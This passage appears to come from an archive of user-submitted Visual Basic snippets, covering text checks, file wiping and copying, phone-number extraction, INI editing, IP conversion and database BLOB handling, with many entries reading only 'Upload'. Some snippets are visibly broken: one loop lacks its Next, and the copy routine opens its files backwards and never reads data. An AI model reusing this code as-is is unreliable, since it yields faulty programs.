If\nEnd Sub\n\nPrivate Sub Combo1_KeyPress(KeyAscii As Integer)\n ' If a user presses the \"Backspace\" key, then the selected text\n ' is removed. Autosearch is not re-performed, as that would only\n ' put it straight back again.\n If KeyAscii = 8 Then\n IgnoreTextChange = True\n If Len(Combo1.SelText) Then\n Combo1.SelText = \"\"\n KeyAscii = 0\n End If\n End If\n 'if user presses enter, select the listindex\n If KeyAscii = 13 Then\n Combo1.ListIndex = SendMessage(Combo1.hwnd, CB_FINDSTRING, -1, ByVal CStr(Combo1.Text))\n End If\nEnd Sub\n"},{"WorldId":1,"id":6088,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6089,"LineNumber":1,"line":"Public Function HasUppercase(TextBox As Object)\nFor i = 65 To 90 'i equals every letter from \"A\" to \"Z\"\nIf InStr(TextBox.Text, Chr$(i)) Then MsgBox \"Has Uppercase\"\n'Searches for letters A to Z (i), and if i is present, Display a box.\nEnd Function\nPublic Function HasLowercase(TextBox As Object)\nFor i = 97 To 122 'i equals every letter from \"a\" to \"z\"\nIf InStr(TextBox.Text, Chr$(i)) Then MsgBox \"Has Lowercase\"\n'Searches for letters a to z (i), and if i is present, Display a box.\nNext i\nEnd Function\nPublic Function HasNumeric(TextBox As Object)\nFor i = 0 To 9 'i equals every number from \"0\" to \"9\"\nIf InStr(TextBox.Text, i) Then MsgBox \"Has Numeric\"\n'Searches for numbers 0 to 9 (i), and if i is present, Display a box.\nNext i\nEnd Function\nPublic Function HasAccentchars(TextBox As Object)\nFor i = 128 To 223 'i equals every character from \"€\" to \"├ƒ\"\nIf InStr(TextBox.Text, Chr$(i)) Then MsgBox \"Has Accented Characters\"\n'Searches for accent characters € to ├ƒ (i), and if i is present, Display a box.\nNext i\nEnd Function\n"},{"WorldId":1,"id":6092,"LineNumber":1,"line":"Function DeleteFile(Path As String)\n'This is an extremely quick file delete developed\n'by me in about 5 minutes.\n'overwrites the file 21 times then deletes it\n'clean off your disk :-)\nDim i As Integer 'variable for times to overwrite\nDim Data1 As String, Data2 As String, Data3 As String, Data4 As String, Data5 As String, Data6 As String, Data7 As String, Data8 As String, Data9 As String, Data10 As String, Data11 As String, Data12 As String, Data13 As String, Data14 As String, Data15 As String, Data16 As String, Data17 As String, Data18 As String, Data19 As String, Data20 As String\n'^^^ all 20 data variables, which hold the information to overwrite the file with\nDim FinalByte As Byte 'just a byte to do the final overwrite with\nData1 = Chr(85) 'the variables information\nData2 = Chr(170) 'the variables information\nData3 = Chr(74) 'the variables information\nData4 = Chr(99) 'the variables information\nData5 = Chr(71) 'the variables information\nData6 = Chr(92) 'the variables information\nData7 = Chr(101) 'the variables information\nData8 = Chr(112) 'the variables information\nData9 = Chr(1) 'the variables information\nData10 = Chr(61) 'the variables information\nData11 = Chr(97) 'the variables information\nData12 = Chr(119) 'the variables information\nData13 = Chr(86) 'the variables information\nData14 = Chr(79) 'the variables information\nData15 = Chr(109) 'the variables information\nData16 = Chr(72) 'the variables information\nData17 = Chr(90) 'the variables information\nData18 = Chr(0) 'the variables information\nData19 = Chr(255) 'the variables information\nData20 = Chr(212) 'the variables information\nOpen Path For Binary Access Write As #1 'open the path so we can overwrite it\nFor i = 1 To 10 'a loop\n Put #1, , Data1 'overwrite\nNext i 'stop loop\nFor i = 1 To 10 'another loop\n Put #1, , Data2 'overwrite\nNext i 'stop loop\nFor i = 1 To 10 'another loop\n Put #1, , Data3 'overwrite\nNext i 'stop loop\nFor i = 1 To 10 'another loop\n Put #1, , Data4 'overwrite\nNext i 'stop loop\nFor i = 1 To 10 'another loop\n Put #1, , Data5 'overwrite\nNext i 'stop loop\nFor i = 1 To 10 'Im sure you get the point from here on!\n'that this is just the overwriting stage!\n Put #1, , Data6\nNext i\nFor i = 1 To 10\n Put #1, , Data7\nNext i\nFor i = 1 To 10\n Put #1, , Data8\nNext i\nFor i = 1 To 10\n Put #1, , Data9\nNext i\nFor i = 1 To 10\n Put #1, , Data10\nNext i\nFor i = 1 To 10\n Put #1, , Data11\nNext i\nFor i = 1 To 10\n Put #1, , Data12\nNext i\nFor i = 1 To 10\n Put #1, , Data13\nNext i\nFor i = 1 To 10\n Put #1, , Data14\nNext i\nFor i = 1 To 10\n Put #1, , Data15\nNext i\nFor i = 1 To 10\n Put #1, , Data16\nNext i\nFor i = 1 To 10\n Put #1, , Data17\nNext i\nFor i = 1 To 10\n Put #1, , Data18\nNext i\nFor i = 1 To 10\n Put #1, , Data19\nNext i\nFor i = 1 To 10\n Put #1, , Data20\nNext i\nFor i = 1 To 10 'the final loop\n Put #1, , FinalByte 'the final overwrite\nNext i 'stop final loop\nClose #1 'close the file\nKill Path 'delete it\nMsgBox \"All Done Wiping The File!\", vbInformation + vbOKOnly, \"All Done!\" 'duh\nEnd Function"},{"WorldId":1,"id":6094,"LineNumber":1,"line":"Function GenerateDummyFile(Path As String, LengthInKB As Long)\n'This function is used to Generate A \"Dummy File\"\n'(it's a file that's only purpose is to do absolutely\n'nothing).\nOn Error Resume Next 'If we get an error, keep going\nDim GeneratedByte As Byte, Generate As Integer 'the variables\nOpen Path For Binary Access Write As #1 'Open the \"Dummy Path\" so we can write to it\nFor Generate = 1 To LengthInKB * 1024 'this is the loop to that does 2 things...\n'1) goes from 1 to the length in KiloBytes (to add to the file)\n'2) converts bytes to KiloBytes By Multiplying The Size in KB * 1024 (the size of on KB in bytes)\n Put #1, , GeneratedByte 'put the generated byte into the \"Dummy File\"\nNext Generate 'stop the loop\nMsgBox \"Done!\"\nEnd Function"},{"WorldId":1,"id":6095,"LineNumber":1,"line":"Function CopyFile(srcFile As String, dstFile As String)\n'this copies a file byte-for-byte\n'or you could just use good old FileCopy :-)\nOn Error Resume Next 'If we get an error, keep going\nDim Copy As Long, CopyByteForByte As Byte 'the variables\nOpen srcFile For Binary Access Write As #1 'open the destination file so we can write to it\nOpen dstFile For Binary Access Read As #2 'open the source file so we can read from it\nFor Copy = 1 To LOF(2) 'Copy The SourceFile Byte-For-Byte\n Put #1, , CopyByteForByte 'Put the byte in the destination file\nNext Copy 'stop the loop\nMsgBox \"Done!\"\nEnd Function"},{"WorldId":1,"id":6099,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6100,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6101,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6102,"LineNumber":1,"line":"Function FindPhoneNo(ByVal strAdText As String, _\n strDefaultAreaCode As String) As Variant\n' By Brett A. Paul - http://www.mitagroup.com/\n' This routine takes the incoming ad text and abstracts it out\n' (strAbstract) to perform some basic pattern matching. It also\n' builds a parallel real string (strReal) so that it knows where the\n' patterns came from and what they really are. Using this technique,\n' the routine builds patterns, then examines them for phone number\n' patterns.\nDim aPossible() As String ' This will hold the result set\nDim strReal As String ' This will hold the pattern-modified real numbers\nDim strAbstract As String ' This holds the pattern of the string\nDim strChar As String * 1 ' Holds 1 letter at a time from input string\nDim ptrWhere As Long ' Used in InStr functions\nDim ptrChar As Integer\nDim ptrPossible As Integer ' Points to last used possible array loc\nReDim aPossible(0) ' Will return array with element 0 if no #s found\n' Remove dollar amounts from string\nDo\n ptrWhere = InStr(strAdText, \"$\")\n If ptrWhere Then\n ' If a \"$\" is found, remove all numbers that appear after the\n ' \"$\". Note: This would need to be changed to allow for\n ' decimal places.\n Do While IsNumeric(Mid$(strAdText, ptrWhere + 1, 1))\n strAdText = Left$(strAdText, ptrWhere) & Right$(strAdText, _\n Len(strAdText) - (ptrWhere + 1))\n Loop\n ' Once the numbers are gone, take off the \"$\", too\n strAdText = Left$(strAdText, ptrWhere - 1) & Right$(strAdText, _\n Len(strAdText) - ptrWhere)\n End If\nLoop Until ptrWhere = 0\n' Begin building abstract and real strings for pattern matching\nstrReal = \"\"\nstrAbstract = \"\"\nFor ptrChar = 1 To Len(strAdText)\n ' Pick up the next character in the input string\n strChar = Mid$(strAdText, ptrChar, 1)\n If InStr(\",-() :;!#%&*/\", strChar) Then\n ' If character is one of these symbols, add a \"-\"\n ' This allows for phone numbers like (800) 555-1212\n ' or 800/555-1212, or however else people like to write\n ' phone numbers\n If Right$(strAbstract, 1) <> \"-\" And _\n Right$(strAbstract, 1) <> \">\" Then\n strAbstract = strAbstract & \"-\"\n strReal = strReal & \"-\"\n End If\n ElseIf IsNumeric(strChar) Then\n ' If character is numeric, add a \"#\"\n strAbstract = strAbstract & \"#\"\n strReal = strReal & strChar\n Else\n ' If the character is something else, add \"-\" for the first\n ' character, or <-> for more than one character.\n Select Case Right$(strAbstract, 1)\n Case \",\", \"#\", \"\"\n strAbstract = strAbstract & \"<->\"\n strReal = strReal & \"<->\"\n Case \">\" ' Nothing to do - already has delimiter\n Case \"-\"\n strAbstract = Left$(strAbstract, _\n Len(strAbstract) - 1) & \"<->\"\n strReal = Left$(strReal, Len(strReal) - 1) & \"<->\"\n End Select\n End If\nNext ptrChar\n' When two phone numbers appear right next to each other, they may\n' blend together in the pattern. To isolate each phone number,\n' separate the two with a delimiter <->. This is done by looking for\n' places where a dash and four numbers in a row are followed by\n' another dash in the abstract pattern\nDo\n ptrWhere = InStr(strAbstract, \"-####-\")\n If ptrWhere Then\n strAbstract = Left$(strAbstract, ptrWhere + 4) & \"<->\" & _\n Right$(strAbstract, Len(strAbstract) - (ptrWhere + 5))\n strReal = Left$(strReal, ptrWhere + 4) & \"<->\" & _\n Right$(strReal, Len(strReal) - (ptrWhere + 5))\n End If\nLoop Until ptrWhere = 0\n' Now that the patterns are ready, search for phone number patterns.\nptrPossible = 0\nDo\n ' Begin by searching for ###-####\n ptrWhere = InStr(strAbstract, \"###-####\")\n If ptrWhere Then ' Found a phone number\n If Mid$(strAbstract, ptrWhere + 8, 1) = \"#\" Then\n ' Too many numbers; this is not really a phone number.\n ' Remove the substring\n strAbstract = Left$(strAbstract, ptrWhere - 1) & _\n Right$(strAbstract, Len(strAbstract) - _\n (ptrWhere + 7))\n strReal = Left$(strReal, ptrWhere - 1) & _\n Right$(strReal, Len(strReal) - (ptrWhere + 7))\n Else\n If ptrWhere > 4 Then ' Check for inclusion of area code\n If Mid$(strAbstract, ptrWhere - 4, 4) = \"###-\" Then\n ' Area code included\n ' Add phone number to list of possibles\n ptrPossible = ptrPossible + 1\n ReDim Preserve aPossible(ptrPossible)\n aPossible(ptrPossible) = Mid$(strReal, ptrWhere - 4, 12)\n \n ' Extract the substring from the abstract and\n ' real string so they don't get in the way of the\n ' next search\n strAbstract = Left$(strAbstract, ptrWhere - 5) & _\n Right$(strAbstract, Len(strAbstract) - _\n (ptrWhere + 7))\n strReal = Left$(strReal, ptrWhere - 5) & _\n Right$(strReal, Len(strReal) - _\n (ptrWhere + 7))\n Else\n ' Area code not included - use default\n ' Add phone number to list of possibles\n ptrPossible = ptrPossible + 1\n ReDim Preserve aPossible(ptrPossible)\n aPossible(ptrPossible) = strDefaultAreaCode & _\n \"-\" & Mid$(strReal, ptrWhere, 8)\n \n ' Extract the substring from the abstract\n ' and real string so they don't get in the way of\n ' the next search\n strAbstract = Left$(strAbstract, ptrWhere - 1) & _\n Right$(strAbstract, Len(strAbstract) _\n - (ptrWhere + 7))\n strReal = Left$(strReal, ptrWhere - 1) & _\n Right$(strReal, Len(strReal) - _\n (ptrWhere + 7))\n End If\n Else\n ' Too close to the front of the string - can't\n ' have area code\n ' Use default area code\n ' Add phone number to list of possibles\n ptrPossible = ptrPossible + 1\n ReDim Preserve aPossible(ptrPossible)\n aPossible(ptrPossible) = strDefaultAreaCode & \"-\" & _\n Mid$(strReal, ptrWhere, 8)\n \n ' Extract the substring from the abstract\n ' and real string so they don't get in the way\n ' of the next search\n strAbstract = Left$(strAbstract, ptrWhere - 1) & _\n Right$(strAbstract, Len(strAbstract) - _\n (ptrWhere + 7))\n strReal = Left$(strReal, ptrWhere - 1) & _\n Right$(strReal, Len(strReal) - (ptrWhere + 7))\n End If\n End If\n End If\nLoop Until ptrWhere = 0\n' Finished! Set function result to the array of possible phone numbers\nFindPhoneNo = aPossible\nExit_FindPhoneNo:\n Exit Function\nEnd Function\nFunction TestIt()\nDim aPhoneNumbers() As String\nDim ptrNumber As Long\naPhoneNumbers = FindPhoneNo(\"blah blah blah (800) - 555 - 1212 blah 555 1212 blah 350319 340193 blah blah 800/349/49/40 bl 800/349/0044 ah \", \"800\")\nFor ptrNumber = 1 To UBound(aPhoneNumbers)\n Debug.Print aPhoneNumbers(ptrNumber)\nNext ptrNumber\nEnd Function\n"},{"WorldId":1,"id":6103,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6108,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6115,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6116,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6117,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6118,"LineNumber":1,"line":"'Place this in a module for use in the future:\nPublic Sub Object_Center(Frm As Form, Cntrl As Object)\n'To call it, you would simply do:\n'Call Object_Center(Form1, Text1)\n'and that will center Text1 in the middle of your\n'screen, no matter how big, or where Form1 is\nCntrl.Top = (Screen.Height * 1#) / 2 - Cntrl.Height / 2\nCntrl.Left = (Screen.Width * 1#) / 2 - Cntrl.Width / 2\nEnd Sub"},{"WorldId":1,"id":6123,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6124,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6127,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6129,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6132,"LineNumber":1,"line":"Public Function INIRead(iAppName As String, iKeyName As String, iFileName As String) As String\n'Example:\n 'x = INIRead(\"boot\", \"shell\", \"C:\\WINDOWS\\system.ini\")\n Dim iStr As String\n iStr = String(255, Chr(0))\n INIRead = Left(iStr, GetPrivateProfileString(iAppName, ByVal iKeyName, \"\", iStr, Len(iStr), iFileName))\nEnd Function\nPublic Function INIWrite(iAppName As String, iKeyName As String, iKeyString As String, iFileName As String)\n'Example:\n 'x = INIWrite(\"boot\", \"shell\", \"Explorer.exe\", \"C:\\WINDOWS\\system.ini\")\nr% = WritePrivateProfileString(iAppName, iKeyName, iKeyString, iFileName)\nEnd Function\n"},{"WorldId":1,"id":6136,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6146,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6154,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6155,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6165,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6168,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6170,"LineNumber":1,"line":"DOWNLOAD IT, check out my site at: http://move.to/iNfOsWorld\n\nTHIS WEBSITE WONT LET ME UPLOAD IT, SO GET IT FROM MY WEBSITE, THEN VOTE FOR ME =], GET IT AT:\nhttp://members.xoom.com/infosworld2/C-ChatExample.zip\n"},{"WorldId":1,"id":6175,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6179,"LineNumber":1,"line":"' This should work with ALL versions of VB, BUT \n' It was only tested with VB4 (16-Bit). I will\n' Be sure to test it on VB6. Just Follow the code\n' Below\nMake a timer and name it Timer1\n Set its Enabled property to False\nNow set its Interval Property to the time you want the action to occur.\nMake 2 command buttons. \nLabel 1 of them ON\n and\nthe other OFF.\n'In Timer1 Place the following code\nretvalue = mciSendString(\"set CDAudio door open\", returnstring, 127, 0) \nretvalue = mciSendString(\"set CDAudio door closed\", returnstring, 127,0)\n' In Command1 labeled On place the following code\nTimer1 = Enabled\n' In Command2 labeled OFF place the following code\nTimer1 = Disbaled\n"},{"WorldId":1,"id":6181,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6182,"LineNumber":1,"line":"Function IPToString(Value As Double) As String\n Dim l As MyLong\n Dim i As MyIP\n l.Value = DoubleToLong(Value)\n LSet i = l\n IPToString = i.A & \".\" & i.B & \".\" & i.C & \".\" & i.D\nEnd Function\nFunction DoubleToLong(Value As Double) As Long\n If Value <= 2147483647 Then\n DoubleToLong = Value\n Else\n DoubleToLong = -(4294967296# - Value)\n End If\nEnd Function\n"},{"WorldId":1,"id":6187,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6191,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6196,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6202,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6203,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6208,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6210,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6212,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6217,"LineNumber":1,"line":"'FACED WITH THE PROBLEM OF SHOWING OFFICE CODES\n'FOR OFFICES WITH DUPLICATE NAMES IN A LISTBOX, \n'AND NOT WANTING TO INCUDE THE NUMBER IN THE \n'TEXT ENTRY IN THE LISTBOX, I DEVELOPED A QUICK\n'WAY OF SHOWING THE NUMBER WHICH WAS STORED IN\n'THE LISTBOX ITEMDATA PROPERTY.\n'\n'NOTE:\n'WordHeight = 195 (depending on the font used).\n'\n'THIS CODE IS AN IMPROVEMENT UPON CODE PREVIOUSLY\n'SUBMITTED BY ANOTHER VB PROGRAMMER INWHICH THE\n'PROGRAMMER LOOPED THROUGH EVERY ITEM IN THE \n'LISTBOX TO DETERMINE WHICH TEXT TO DISPLAY IN THE\n'TOOLTIP. THE PROBLEM ENCOUNTERED BY THAT CODE WAS\n'THAT IT DID NOT WORK FOR LARGE LISTBOXES WITH \n'ENTRIES GREATER THAN 167. ON THE 168th ENTRY, AN\n'OVERFLOW ERROR WAS ENCOUNTERED. MY CODE IS FASTER\n'AND TAKES YOU DIRECTLY TO THE ENTRY WITHOUT \n'LOOPING THROUGH THE LIST.\n'\nPrivate Sub ListBox1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n Dim index As Integer\n \n index = ListBox1.TopIndex + ((Y) / WordHeight)\n ListBox1.ToolTipText = Str(ListBox1.ItemData(index))\n \nEnd Sub\n"},{"WorldId":1,"id":6219,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6220,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6228,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6233,"LineNumber":1,"line":"Function ListSubDirs(ByVal Path As String) As Variant\n 'returns an array of directory names\n On Error Resume Next\n Dim Count, Dirs(), i, DirName ' Declare variables.\n DirName = Dir(Path, vbDirectory) ' Get first directory name.\n Count = 0\n Do While Not DirName = \"\"\n ' A file or directory name was returned\n If Not DirName = \".\" And Not DirName = \"..\" Then\n ' Not a parent or current directory entry so process it\n If GetAttr(Path & DirName) And vbDirectory Then\n ' This is a directory\n ' Increase the size of the array by one element\n ReDim Preserve Dirs(Count + 1)\n Dirs(Count) = DirName ' Add directory name to array\n Count = Count + 1 ' Increment counter.\n End If\n End If\n DirName = Dir ' Get another directory name.\n Loop\n ReDim Preserve Dirs(Count - 1) 'remove the last empty element\n ListSubDirs = Dirs()\nEnd Function\n\nFunction ListFiles(ByVal Path As String) As Variant\n 'returns an array of file names\n On Error Resume Next\n Dim Count, Files(), i, FileName ' Declare variables.\n Count = 0\n FileName = Dir(Path, 6) ' Get first file name.\n Do While Not FileName = \"\"\n If Not FileName = \".\" And Not FileName = \"..\" Then\n 'Not a parent or current directory entry so process it\n If Not GetAttr(Path & FileName) And vbDirectory Then\n 'This is a file\n 'Increase the size of the array by one element\n ReDim Preserve Files(Count + 1)\n Files(Count) = FileName 'Add Filename to array.\n Count = Count + 1 'Increment counter\n End If\n End If\n FileName = Dir ' Get another file name.\n Loop\n ReDim Preserve Files(Count - 1) 'remove the last empty element\n ListFiles = Files()\nEnd Function\n"},{"WorldId":1,"id":6234,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6235,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6239,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6240,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6242,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6244,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6245,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6249,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6252,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6260,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6264,"LineNumber":1,"line":"' Before you start anything you should create: 1 picturebox, 1 textbox, 1 command button. Size the picture box so it is pretty big in size and it should be EXACTLY squared so the design looks nice! To do so make sure the scalewidth and scaleheight in the properties section are equal to each other. Now put the following code into the command button.\nPrivate Sub Command1_Click()\nIf Text1 <= 0 Then Exit Sub\nPicture1.Cls\nw = Picture1.ScaleWidth / Text1\nh = Picture1.ScaleHeight / Text1\n' top to left\nFor draw = 0 To Text1\n Picture1.Line (0 + (w * draw), 0)-(0, Picture1.ScaleHeight - (h * draw))\nNext draw\n' left to bottom\nFor draw = 0 To Text1\n Picture1.Line (0, 0 + (h * draw))-(0 + (w * draw), Picture1.ScaleHeight)\nNext draw\n' bottom to right\nFor draw = 0 To Text1\n Picture1.Line (0 + (w * draw), Picture1.ScaleHeight)-(Picture1.ScaleWidth, Picture1.ScaleHeight - (h * draw))\nNext draw\n' right to top\nFor draw = 0 To Text1\n Picture1.Line (Picture1.ScaleWidth, 0 + (h * draw))-(0 + (w * draw), 0)\nNext draw\nEnd Sub"},{"WorldId":1,"id":6265,"LineNumber":1,"line":"' ----- for vb6 users -----\nFunction IP_Dotless#(ByVal ipAddress As String)\n Dim numArray As Variant\n \n numArray = Split(ipAddress$, \".\")\n IP_Dotless = (numArray(0) * 256 ^ 3) + _\n (numArray(1) * 256 ^ 2) + _\n (numArray(2) * 256 ^ 1) + _\n numArray(3)\nEnd Function\n' ----- for vb5 and below users -----\nFunction IP_Dotless# (ByVal ipAddress As String)\nIP_Dotless = (Val(GetWord$(ipAddress, 1, \".\")) * 256 ^ 3) + (Val(GetWord$(ipAddress, 2, \".\")) * 256 ^ 2) + (Val(GetWord$(ipAddress, 3, \".\")) * 256 ^ 1) + (Val(GetWord$(ipAddress, 4, \".\")))\nEnd Function\nFunction CountWords& (ByVal inWord$, ByVal inSep$)\nDim strTempA$\nDim strTempB$\nDim lngTempA&\nDim lngTempB&\nDim lngRet&\nOn Error Resume Next\ninWord$ = inWord$ + inSep$\nFor lngRet& = 1 To Len(inWord$)\nstrTempA$ = Mid$(inWord$, lngRet&, Len(inSep$))\nstrTempB$ = strTempB$ + strTempA$\nIf strTempA$ = inSep$ Then\nlngTempA& = Len(strTempB$) - Len(inSep$)\nstrTempB$ = Left$(strTempB$, lngTempA&)\nlngTempB& = lngTempB& + 1\nstrTempB$ = \"\"\nEnd If\nNext lngRet&\nCountWords& = lngTempB&\nEnd Function\nFunction GetWord$ (ByVal inWord$, ByVal inCount&, ByVal inSep$)\nDim strTempA$\nDim strTempB$\nDim lngTempA&\nDim lngTempB&\nDim lngRet&\nOn Error Resume Next\ninWord$ = inWord$ + inSep$\nFor lngRet& = 1 To Len(inWord$)\nstrTempA$ = Mid$(inWord$, lngRet&, Len(inSep$))\nstrTempB$ = strTempB$ + strTempA$\nIf strTempA$ = inSep$ Then\nlngTempA& = Len(strTempB$) - 1\nstrTempB$ = Left$(strTempB$, lngTempA&)\nlngTempB& = lngTempB& + 1\nIf lngTempB& = inCount& Then\nGetWord$ = strTempB$\nExit Function\nEnd If\nstrTempB$ = \"\"\nEnd If\nNext lngRet&\nGetWord$ = \"\"\nEnd Function"},{"WorldId":1,"id":6269,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6270,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6272,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6273,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6274,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6276,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6280,"LineNumber":1,"line":"Option Explicit\nPrivate Sub Command1_Click()\n Dim A As Variant\n Dim i As Integer\n i = 1\n A = Parse(\"hello to you\", \" \")\n Do While A(i) <> \"\"\n MsgBox A(i)\n i = i + 1\n Loop\nEnd Sub\nPublic Function Parse(sIn As String, sDel As String) As Variant\n Dim i As Integer, x As Integer, s As Integer, t As Integer\n i = 1: s = 1: t = 1: x = 1\n ReDim tArr(1 To x) As Variant\n If InStr(1, sIn, sDel) <> 0 Then\n Do\n ReDim Preserve tArr(1 To x) As Variant\n tArr(i) = Mid(sIn, t, InStr(s, sIn, sDel) - t)\n t = InStr(s, sIn, sDel) + Len(sDel)\n s = t\n If tArr(i) <> \"\" Then i = i + 1\n x = x + 1\n Loop Until InStr(s, sIn, sDel) = 0\n ReDim Preserve tArr(1 To x) As Variant\n tArr(i) = Mid(sIn, t, Len(sIn) - t + 1)\n Else\n tArr(1) = sIn\n End If\n Parse = tArr\nEnd Function"},{"WorldId":1,"id":6282,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6283,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6284,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6285,"LineNumber":1,"line":"'You can place the function in any event. \n'Call function like this:\nCall EnumWindows(AddressOf EnumWindowProc, &H0)"},{"WorldId":1,"id":6287,"LineNumber":1,"line":"Private Sub Timer1_Timer()\n Label1.Move Label1.Left, Label1.Top - 10\nEnd Sub"},{"WorldId":1,"id":6290,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6293,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6298,"LineNumber":1,"line":"Place this line in your immediate window and run it. It will return \"Test5\".\nPrint Split(\"Test0 Test1 Test2 Test3 Test4 Test5 Test6\", \" \")(5)\n"},{"WorldId":1,"id":6299,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6300,"LineNumber":1,"line":"Private Sub Text1_Change()\nSendKeys \"{left}\"\nEnd Sub"},{"WorldId":1,"id":6301,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6302,"LineNumber":1,"line":"Private Function convertDOStoUNIX(DOSstring As String) As String\n convertDOStoUNIX = Replace(DOSstring, vbCrLf, vbLf, 1, Len(DOSstring), vbTextCompare)\nEnd Function\nPrivate Function convertUNIXtoDOS(UNIXstring As String) As String\n convertUNIXtoDOS = Replace(UNIXstring, vbLf, vbCrLf, 1, Len(UNIXstring), vbTextCompare)\nEnd Function\n"},{"WorldId":1,"id":6304,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6305,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6306,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6307,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6312,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6313,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6314,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6315,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6317,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6319,"LineNumber":1,"line":"Function AddLongRaw(ByVal strFileName As String, ByRef objRecSet As ADODB.Recordset, ByVal strFieldName As String) As Boolean\n 'How to call AddLongRaw function :\n 'dim bool as boolean\n 'dim objRecSet as new adodb.recordset\n 'dim strFieldeName as string\n 'strFieldName = objRecSet.Fields(\"YOUR_BLOB_FILE\").Name\n 'bool = AddLongRaw(strSourceName, objRecSet, strFieldName)\n \n 'if bool then\n 'Successfully upload the BLOB file into database\n 'else\n 'Failed to upload the BLOB file into database\n 'End If\n \n AddLongRaw = False\n Dim ByteData() As Byte 'Byte array for Blob data.\n Dim SourceFile As Integer\n Dim FileLength As Long\n Dim Numblocks As Integer\n Dim LeftOver As Long\n Dim i As Integer\n Const BlockSize = 10000 'This size can be experimented with for\n SourceFile = FreeFile\n Open strFileName For Binary Access Read As SourceFile\n FileLength = LOF(SourceFile) ' Get the length of the file.\n \n 'Debug.Print \"Filelength is \" & FileLength\n \n If FileLength = 0 Then\n Close SourceFile\n AddLongRaw = False\n Exit Function\n Else\n Numblocks = FileLength / BlockSize\n LeftOver = FileLength Mod BlockSize\n ReDim ByteData(LeftOver)\n Get SourceFile, , ByteData()\n objRecSet.Fields(strFieldName).AppendChunk ByteData()\n ReDim ByteData(BlockSize)\n For i = 1 To Numblocks\n Get SourceFile, , ByteData()\n objRecSet.Fields(strFieldName).AppendChunk ByteData()\n Next i\n AddLongRaw = True\n Close SourceFile\n End If\nEnd Function\nFunction GetLongRaw(strFileName As String, objRecSet As ADODB.Recordset, strBLOBFieldName As String) As Boolean\n GetLongRaw = False\n Dim ByteData() As Byte 'Byte array for file.\n Dim DestFileNum As Integer\n Dim DiskFile As String\n Dim FileLength As Long\n Dim Numblocks As Integer\n Const BlockSize = 10000\n Dim LeftOver As Long\n Dim i As Integer\n \n FileLength = objRecSet.Fields(strBLOBFieldName).ActualSize\n \n ' Remove any existing destination file.\n DiskFile = strFileName\n If Len(Dir$(DiskFile)) > 0 Then\n Kill DiskFile\n End If\n \n DestFileNum = FreeFile\n Open DiskFile For Binary As DestFileNum\n Numblocks = FileLength / BlockSize\n LeftOver = FileLength Mod BlockSize\n \n ByteData() = objRecSet.Fields(strBLOBFieldName).GetChunk(LeftOver)\n Put DestFileNum, , ByteData()\n For i = 1 To Numblocks\n ByteData() = 